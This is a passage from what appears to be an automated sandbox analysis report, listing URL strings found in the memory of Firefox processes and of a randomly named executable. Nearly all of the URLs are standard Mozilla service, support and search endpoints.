Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000003.2523807482.000001F400E7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000003.2523807482.000001F400E7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2523509088.000001F400E88000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741348665.000001F3FF55D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001C.00000002.2772231477.000001F401EC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ssl.gstatic.com
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsSHUTDOWN_PHASE_DURATION_TICKS_PROFILE_BEFORE_CHANGE
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400FC8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755898255.000001F400F12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelmoz-extension://2461c90f-0bc1-4cdf-a1d3-efdcf6e0
Source: firefox.exe, 0000001C.00000002.2744297021.000001F3FF8BD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=spotlight
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000003.2279118010.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2383402901.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2432050956.000001F4019F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2765179427.000001F4019EC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000001C.00000002.2741348665.000001F3FF52B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733365636.000001F3FD933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2479271245.000001F4010DB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757465880.000001F4010D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2283853449.000001F400485000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpA
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaPlatformDecoderNotFound
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsMediaWMFNeeded
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2511627754.000001F401685000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/website-translationFX_PICTURE_IN_PICTURE_BACKGROUND_TAB_PLAYING_DURAT
Source: firefox.exe, 0000001C.00000002.2742790289.000001F3FF735000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749225663.000001F3FFC6E000.00000004.00000800.00020000.00000000.sdmp, places.sqlite-wal.28.dr String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.combrowser.handlers.migrationsmigrateXULAttributeToStylehttps://monitor.f
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2763620450.000001F401703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2267867891.000001F4004E1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture
Source: cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022CF0000.00000004.00000020.00020000.00000000.sdmp, KKKJKEBK.19.dr String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google-analytics.com;report-uri
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF55D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2771088874.000001F401D84000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744297021.000001F3FF836000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2362207749.000001F4028A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2356343624.000001F4028A5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search
